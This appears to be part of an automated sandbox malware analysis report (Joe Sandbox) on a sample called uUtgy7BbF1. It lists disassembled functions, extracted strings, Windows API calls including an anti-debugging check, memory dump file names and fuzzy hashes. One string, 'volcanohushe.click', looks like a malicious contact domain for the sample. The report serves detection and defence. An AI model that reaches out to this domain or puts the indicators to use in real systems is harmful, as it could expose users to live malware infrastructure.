Opcode Fuzzy Hash: 63b6a7e1f9943a7ee3fba3336e57c65c80b2210d8cee09f5dd92498206add450
Instruction Fuzzy Hash: 77F16579A0C350DFD3248F55E88172BBBE1FBCA314F95482DEA859B351D7749802CB8A

Function 00426430 Relevance: 9.1, Strings: 7, Instructions: 396COMMON

Download Yara Rule

Strings

BC, xrefs: 00426EE5
DTS^, xrefs: 004270C3
no, xrefs: 00426DE7
SDTB, xrefs: 004270A2
WLTO, xrefs: 004270D9
xlc=, xrefs: 00427190
sNDW, xrefs: 004270F5

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: BC$DTS^$SDTB$WLTO$no$sNDW$xlc=
API String ID: 0-4261215005
Opcode ID: ccdc102990b4c15d3359c4579d9af196d84240e8b5d2da791b71984c89447364
Instruction ID: bc51c2f3923f1d1749b79aa7f72e467a3002caf565e53d3967ace05a6b2d116c
Opcode Fuzzy Hash: ccdc102990b4c15d3359c4579d9af196d84240e8b5d2da791b71984c89447364
Instruction Fuzzy Hash: F3D1F0B5A0C3908FD7309F24E8917ABB7F1EB96304F45482DE5C99B252DB748905CB8B

Function 00429070 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 00429149

Strings

~Pf?, xrefs: 004291BD
zPf?, xrefs: 00429157

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: zPf?$~Pf?
API String ID: 237503144-2637493059
Opcode ID: 26d119dec0a38fc1d7c433e7bb48d8e841ee7a0981e4bddc7203521b33e83297
Instruction ID: 198dd5e36b7fe1fa964ce911b4fb16a36b701d1aa9f0cceef3b71a0ea0f726ca
Opcode Fuzzy Hash: 26d119dec0a38fc1d7c433e7bb48d8e841ee7a0981e4bddc7203521b33e83297
Instruction Fuzzy Hash: EB514675648305EFE3108F25AC81B6BB7A8FBC2704F50193DFA509B291DBB4D81ACB56

Function 006907C7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00690198,00000002,00000000,?,?,?,00690198,?,00000000), ref: 00690860
GetLocaleInfoW.KERNEL32(?,20001004,00690198,00000002,00000000,?,?,?,00690198,?,00000000), ref: 00690889
GetACP.KERNEL32(?,?,00690198,?,00000000), ref: 0069089E

Strings

OCP, xrefs: 0069081B
ACP, xrefs: 006907E5

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ccdb9c462406461aba87eb86cd13be2b7448d104036ca815f827901d5dd59f6c
Instruction ID: 5b08a86e6a71c174d02c4fff0a38dc5fbd137bc7324b51e5cff21faf262cb7ef
Opcode Fuzzy Hash: ccdb9c462406461aba87eb86cd13be2b7448d104036ca815f827901d5dd59f6c
Instruction Fuzzy Hash: 91219A22B40101AEFF349F54CB01AE773AFAF90B64B668024E90AD7A14E732DE41C7D0

Function 0041D5B0 Relevance: 8.5, Strings: 6, Instructions: 1030COMMON

Download Yara Rule

Strings

klSm, xrefs: 0041D930
+, xrefs: 0041DD87
J_\e, xrefs: 0041D969
JSQC, xrefs: 0041D974
wJsU, xrefs: 0041D938
iWDB, xrefs: 0041D948

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: +$JSQC$J_\e$iWDB$klSm$wJsU
API String ID: 0-48882314
Opcode ID: 6b08c17d73f50599bc3423449fc688f48cd1f5fde1254425c14f9c76bad262bb
Instruction ID: 6539de25e02be62e166c2d6d1fbf72afe4b3ae9106669352150e090de26398d0
Opcode Fuzzy Hash: 6b08c17d73f50599bc3423449fc688f48cd1f5fde1254425c14f9c76bad262bb
Instruction Fuzzy Hash: 1B72597090C3518FC725CF29C8406AFBBE1AF95314F188A6EE8E58B392D738D946C756

Function 0041B9A0 Relevance: 6.8, Strings: 5, Instructions: 597COMMON

Download Yara Rule

Strings

>j%h, xrefs: 0041BF90
w, xrefs: 0041BB33
C@, xrefs: 0041BC38
IG, xrefs: 0041BB2B
YF, xrefs: 0041BF7A

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: >j%h$C@$IG$YF$w
API String ID: 0-3977256543
Opcode ID: b1c41823cc40404da43d45bdcbf5a05d767afae4a0658e6817707d5df229ca96
Instruction ID: bddec1b54a39677e85b17c04ceb6ad18fd944dcb43d24b0713774ccf1a2472f2
Opcode Fuzzy Hash: b1c41823cc40404da43d45bdcbf5a05d767afae4a0658e6817707d5df229ca96
Instruction Fuzzy Hash: A302107260C3408BD704DF69C8516ABFBE2EFD6314F09882DE4D58B392E7389545CB9A

Function 00690DA9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00690E99

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 5c81cadf383f184be69c1e73d509d1f95bff1edf90b051f73de717d7e60cf764
Instruction ID: 8d84d1b279ccf537d33fa7b291e57975aff00e86f32b8a591f28cd04fe91f618
Opcode Fuzzy Hash: 5c81cadf383f184be69c1e73d509d1f95bff1edf90b051f73de717d7e60cf764
Instruction Fuzzy Hash: A27101729451599FEF30AF28CC89AFEBBBEAF09300F1442DDE409A7611DA315E859F14

Function 0067E42C Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0067E438
IsDebuggerPresent.KERNEL32 ref: 0067E504
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0067E51D
UnhandledExceptionFilter.KERNEL32(?), ref: 0067E527

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: e37b6cf7a367214b9542d5ac71293e4a9b95f872178336ba03fc1dd7b2394aaf
Instruction ID: 04d0eb133bafc9a296ec159a0cccd3b660463b56e89b2e4500560ef37ec0b859
Opcode Fuzzy Hash: e37b6cf7a367214b9542d5ac71293e4a9b95f872178336ba03fc1dd7b2394aaf
Instruction Fuzzy Hash: 1231E775D0121C9BDB20EFA5D9497CDBBB8AF08304F1041EAE40CAB250EBB19A858F45

Function 00417207 Relevance: 5.4, Strings: 4, Instructions: 423COMMON

Download Yara Rule

Strings

3wA, xrefs: 00417515, 0041772D
Oslm, xrefs: 00417589
L4, xrefs: 004172E0
L4, xrefs: 00417600

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID: 3wA$Oslm$L4$L4
API String ID: 2994545307-2234767502
Opcode ID: 82bf725f0757daa157f32e025d8a74b38d6c37187c90028344b6b4186a80b1bb
Instruction ID: 307d0b6bb99e80c2126adcaddeb59da55b998df86b0f55e95dd8da5ebd5bfe2f
Opcode Fuzzy Hash: 82bf725f0757daa157f32e025d8a74b38d6c37187c90028344b6b4186a80b1bb
Instruction Fuzzy Hash: BFD147716083419FD724CF28C8817ABB7E2ABC6314F188A3DE4D983392D735D856CB86

Function 00415506 Relevance: 4.1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

Strings

gfff, xrefs: 00415694
7, xrefs: 00415649
WT, xrefs: 004155E0

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: 7$WT$gfff
API String ID: 0-3918836065
Opcode ID: c1e1d21124b2e52469f7f82df4301e15a45ac8879c3b69de27b99dc034c8f0a4
Instruction ID: b46a7ac6f51d3cab31650695944aba32df2089761ef6db5e6300506385caa733
Opcode Fuzzy Hash: c1e1d21124b2e52469f7f82df4301e15a45ac8879c3b69de27b99dc034c8f0a4
Instruction Fuzzy Hash: D8A13A73A106008FD318CA29CC517FBB7D3ABC5324F1AC63ED456CB2D9EA3898468785

Function 0041A3A0 Relevance: 3.9, Strings: 3, Instructions: 173COMMON

Download Yara Rule

Strings

Ju, xrefs: 0041A428
tu, xrefs: 0041A438
w~, xrefs: 0041A430

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: Ju$tu$w~
API String ID: 0-2718015323
Opcode ID: a8a042c75a796f11769dd960a33e4198fe42849cae9fa5f40045990e2e3e9ece
Instruction ID: 3c52c23171b1d345c2d49e998851337e4974a2c3d886fd1ac3d2f2ae50b48a00
Opcode Fuzzy Hash: a8a042c75a796f11769dd960a33e4198fe42849cae9fa5f40045990e2e3e9ece
Instruction Fuzzy Hash: 6F41AA700093918BC724CF29C8606BBBBE0EF83364F04495DE5D28B291E3BD9945CB97

Function 0042963E Relevance: 3.9, Strings: 3, Instructions: 150COMMON

Download Yara Rule

Strings

xlc=, xrefs: 00429656
KJIH, xrefs: 004296D0
xlc=, xrefs: 00429737

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: KJIH$xlc=$xlc=
API String ID: 0-3693430147
Opcode ID: ddcbebc37588f3223e6456a98ecf1037c94c59a38205b2405806e0036c004e6d
Instruction ID: 1df2b0cd354e5eb9382eacdd7d6201147e9d1f654fc09427a9397325319c904e
Opcode Fuzzy Hash: ddcbebc37588f3223e6456a98ecf1037c94c59a38205b2405806e0036c004e6d
Instruction Fuzzy Hash: 4441F53AB69724DBC7289F59ECC152AF7E1EB99710F84543ED982DB311C728DC01878A

Function 00426639 Relevance: 3.1, Strings: 2, Instructions: 613COMMON

Download Yara Rule

Strings

kim}, xrefs: 00426689
@gB, xrefs: 00426820, 00426B5F

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: @gB$kim}
API String ID: 0-565826954
Opcode ID: b9771cc6a1c9dc5aa759e40e45813aeb6d2542078393295f4b3fb4169dc1c76f
Instruction ID: 9883a33267a4edeb7d73dc9f2210c431252dad24f6d1f8ca6899b908e8f0c5d9
Opcode Fuzzy Hash: b9771cc6a1c9dc5aa759e40e45813aeb6d2542078393295f4b3fb4169dc1c76f
Instruction Fuzzy Hash: 1E225875E04265CFCB14CF68D8916AEBBB1EF49304F1980AED851AB352C739AD06CBD4

Function 0040E49F Relevance: 2.8, Strings: 2, Instructions: 259COMMON

Download Yara Rule

Strings

p{-s, xrefs: 0040E5E5
p{-s, xrefs: 0040E768

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID: p{-s$p{-s
API String ID: 2994545307-716220686
Opcode ID: 2aef8b8498d302ea470229f2b31964dafa280691521ba20ab2529de80153c117
Instruction ID: f0c58c42614237375e365d72bc3c7a37cc96942c1005d0a9fe5c86925e2313ea
Opcode Fuzzy Hash: 2aef8b8498d302ea470229f2b31964dafa280691521ba20ab2529de80153c117
Instruction Fuzzy Hash: 48810435240601AFC728CB29CD92672B7E2EB8530871C8D7FD156D76A6D73DE8229B08

Function 004142A0 Relevance: 2.4, Strings: 1, Instructions: 1107COMMON

Download Yara Rule

Strings

D]+\, xrefs: 004149E0

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 0d41e0e1d96c0d5275cbc1ccfd3832cd9580ac32bd5875f1c036d976f95b2d15
Instruction ID: 9251f9772932f48160a5ade6cb9760e2072f5487641182bc89e2b62d99dc5cf9
Opcode Fuzzy Hash: 0d41e0e1d96c0d5275cbc1ccfd3832cd9580ac32bd5875f1c036d976f95b2d15
Instruction Fuzzy Hash: C45224B9A18200ABD714DF14D84167BB7E1FBD6314F19892EE88197391D73CEC41CB9A

Function 00415E9A Relevance: 1.7, Strings: 1, Instructions: 496COMMON

Download Yara Rule

Strings

z, xrefs: 00416241

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID: z
API String ID: 2994545307-1657960367
Opcode ID: c7a99f6c6c6413b9328a1f415840cf05a1af755a24bae09dd66a052c86edf477
Instruction ID: a41510cab639ff2c168ed1a461397d8e6c98ec91fc98b876038bb987118f98da
Opcode Fuzzy Hash: c7a99f6c6c6413b9328a1f415840cf05a1af755a24bae09dd66a052c86edf477
Instruction Fuzzy Hash: 7FD12934A083409FD724CF2598907BBB7E2EBDA314F19592EE0D657291C738D847CB5A

Function 004393D0 Relevance: 1.7, Strings: 1, Instructions: 454COMMON

Download Yara Rule

Strings

056w, xrefs: 004394F9

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID: 056w
API String ID: 2994545307-3031594284
Opcode ID: d41cf2aced06695c6dce53ea779f2bf54988cbc4b145618bc2f0dedb8f096e31
Instruction ID: 1e524d56f986b60e63968127200a34d937c12baad4a8d406414dac60ed768612
Opcode Fuzzy Hash: d41cf2aced06695c6dce53ea779f2bf54988cbc4b145618bc2f0dedb8f096e31
Instruction Fuzzy Hash: C0C17A72A083005BD3249E24CCC277BB7A2EBCA314F18A52ED59557391D6BCDC46C79A

Function 00421B00 Relevance: 1.7, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

\l, xrefs: 00421E41

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: \l
API String ID: 0-332606932
Opcode ID: 2dec8be2b520b2186125d96ced5c0adb923a6fa7d4cda33570fed64b2fe6fc8e
Instruction ID: 852c598ae3c60e65e129f9c36e5a4a5eb34ebc179e5d94f45104046a45fe5565
Opcode Fuzzy Hash: 2dec8be2b520b2186125d96ced5c0adb923a6fa7d4cda33570fed64b2fe6fc8e
Instruction Fuzzy Hash: E7B18D72A143209BD7249F24AC82677B3B1EFA1314F99852EECC557351E23CEC05C79A

Function 00417AB8 Relevance: 1.6, Strings: 1, Instructions: 330COMMON

Download Yara Rule

Strings

_, xrefs: 00417E13

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: c3dfae79088f6faf2fd2d7b366d4b356a6ca7e7aafd60081d9beaeb1768c1e58
Instruction ID: 2874f46035bf117a80d7d2a23349d9cb71d49021efdfc033c4a59cdebb79e407
Opcode Fuzzy Hash: c3dfae79088f6faf2fd2d7b366d4b356a6ca7e7aafd60081d9beaeb1768c1e58
Instruction Fuzzy Hash: 86B1F77560C3408BD7258F2898617FBBBF2ABDA314F28497ED4C687382D7389851875A

Function 00440450 Relevance: 1.5, Strings: 1, Instructions: 295COMMON

Download Yara Rule

Strings

/4-", xrefs: 00440452

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID: /4-"
API String ID: 2994545307-255669811
Opcode ID: f4558d96d5aa098eeacb25ccd83ed2fcdbbf09adccc6b57ad2e83dd542a83ca3
Instruction ID: 5d47b2a4792fb15c73dd9788517ba42da93c73d11f813630f87d1316b5251ac7
Opcode Fuzzy Hash: f4558d96d5aa098eeacb25ccd83ed2fcdbbf09adccc6b57ad2e83dd542a83ca3
Instruction Fuzzy Hash: B8913835604311AFE720DF28C88066BB7E2EFD4750F19852DEA815B395DB39EC62C785

Function 0042B8BD Relevance: 1.4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

c`^Z, xrefs: 0042BA6B

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: c`^Z
API String ID: 0-4018570465
Opcode ID: 9eaaeac1af0046f77bfdce008b90eb0f0d12110f4699f489367c40e366593788
Instruction ID: 84572387e2f9d8e30e4a59fcb4903cfd6437d21f2140ce11b4878cf53556221a
Opcode Fuzzy Hash: 9eaaeac1af0046f77bfdce008b90eb0f0d12110f4699f489367c40e366593788
Instruction Fuzzy Hash: DA513576A0C3A18BC335CF3998903E7BBE2AF96704F58896EC4C99B205DA3845058786

Function 0042B963 Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

c`^Z, xrefs: 0042BA6B

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: c`^Z
API String ID: 0-4018570465
Opcode ID: d783b575065614c62e39edefdac40061046f0ec8c49e4bcc71ff719ed9c249e9
Instruction ID: 62403507b67e3add205e3cb6eb23e8c84b81608dc76150191bd4437fa6a5d6a1
Opcode Fuzzy Hash: d783b575065614c62e39edefdac40061046f0ec8c49e4bcc71ff719ed9c249e9
Instruction Fuzzy Hash: 8241477061C3D18BD735CF3994903E7BBE1EB97700F68896DC0C987246DB3844068B96

Function 0042BB66 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

KI, xrefs: 0042BCAA

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: KI
API String ID: 0-1977173829
Opcode ID: 9817d8d2cd989187cfd65775c6c2d6774b5ae1b7bccca7278f7fa6d8ef7e6c81
Instruction ID: 91a34f79fce4890eca5ccf24ac22c1236428951ee7d79aa7463c0d4d2c87feab
Opcode Fuzzy Hash: 9817d8d2cd989187cfd65775c6c2d6774b5ae1b7bccca7278f7fa6d8ef7e6c81
Instruction Fuzzy Hash: 9C41F43564C7908AD3358F34D8943EABBF1ABD6300F58866DD4C99B382CB7855069B86

Function 0041B25A Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

q, xrefs: 0041B361

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-4110462503
Opcode ID: fc3bb61bfd94ae5a3fae19a49a936b96d29985acd56f8c40518c59ddd57b5efb
Instruction ID: 93a25755fb4b0333ef7b556c8c5401fcb28c9ec14eb27c0752a44160350e560f
Opcode Fuzzy Hash: fc3bb61bfd94ae5a3fae19a49a936b96d29985acd56f8c40518c59ddd57b5efb
Instruction Fuzzy Hash: AA41583464C340ABC7054B24DC06B6E7BA1AF97B05F04896EF5E18B2E1C7798815CB8B

Function 0042BB60 Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

KI, xrefs: 0042BCAA

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: KI
API String ID: 0-1977173829
Opcode ID: 1cb5d465071201c5d4a5cc368f7d339e4b5fbc63d8b3d73cbb9a409c79d20b7b
Instruction ID: aae285d08021c98cc9ad7b5e59d58feaf1cef8b380b4a0bc2b22dfea0a95e3f8
Opcode Fuzzy Hash: 1cb5d465071201c5d4a5cc368f7d339e4b5fbc63d8b3d73cbb9a409c79d20b7b
Instruction Fuzzy Hash: CF411675A4C7908BD3258F34D8943EABBF1FBC5300F588A6DD4C99B385CB7854069B86

Function 0040C4AE Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

volcanohushe.click, xrefs: 0040C4E4, 0040C524

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: volcanohushe.click
API String ID: 0-3487758016
Opcode ID: b2e33bdc19f01c0d864218a4dc0cc21f643ae0fc09979f94a9809007749323a0
Instruction ID: b8e46fd4180620e8fa4f02fa5b31e0b327415897175f02e2bb6ac1baa248a022
Opcode Fuzzy Hash: b2e33bdc19f01c0d864218a4dc0cc21f643ae0fc09979f94a9809007749323a0
Instruction Fuzzy Hash: 011125346555019AE34DCB34C8E6B7AA363EF43304B64622DD113A32E5DB796816C61C

Function 0041864E Relevance: 1.3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

Strings

v, xrefs: 00418685

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: v
API String ID: 0-1801730948
Opcode ID: d255b25c69fcc9c8248d0df40f5e3549dd583127a3b06a41a83426b700faeda1
Instruction ID: 9699c58770c97fb3a7005195816939a3fdc948d4c1fc9f16f5ad9316cf85a81d
Opcode Fuzzy Hash: d255b25c69fcc9c8248d0df40f5e3549dd583127a3b06a41a83426b700faeda1
Instruction Fuzzy Hash: EB11E276D187618BC310CF34C98028FBAE2ABC9315F16892DE4C5A3315D678CD48CB8B

Function 0043E450 Relevance: 1.3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

Strings

lhin, xrefs: 0043E460

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: lhin
API String ID: 0-138776974
Opcode ID: 8b26fef1caf86ef8e11393a310a0b5113c05f2ec9044265c383a10711fd843b9
Instruction ID: 7fd97130cce7ea1aa8fbfb12d6e93ce7f630f2e99416a8fc191b46fa008a84d9
Opcode Fuzzy Hash: 8b26fef1caf86ef8e11393a310a0b5113c05f2ec9044265c383a10711fd843b9
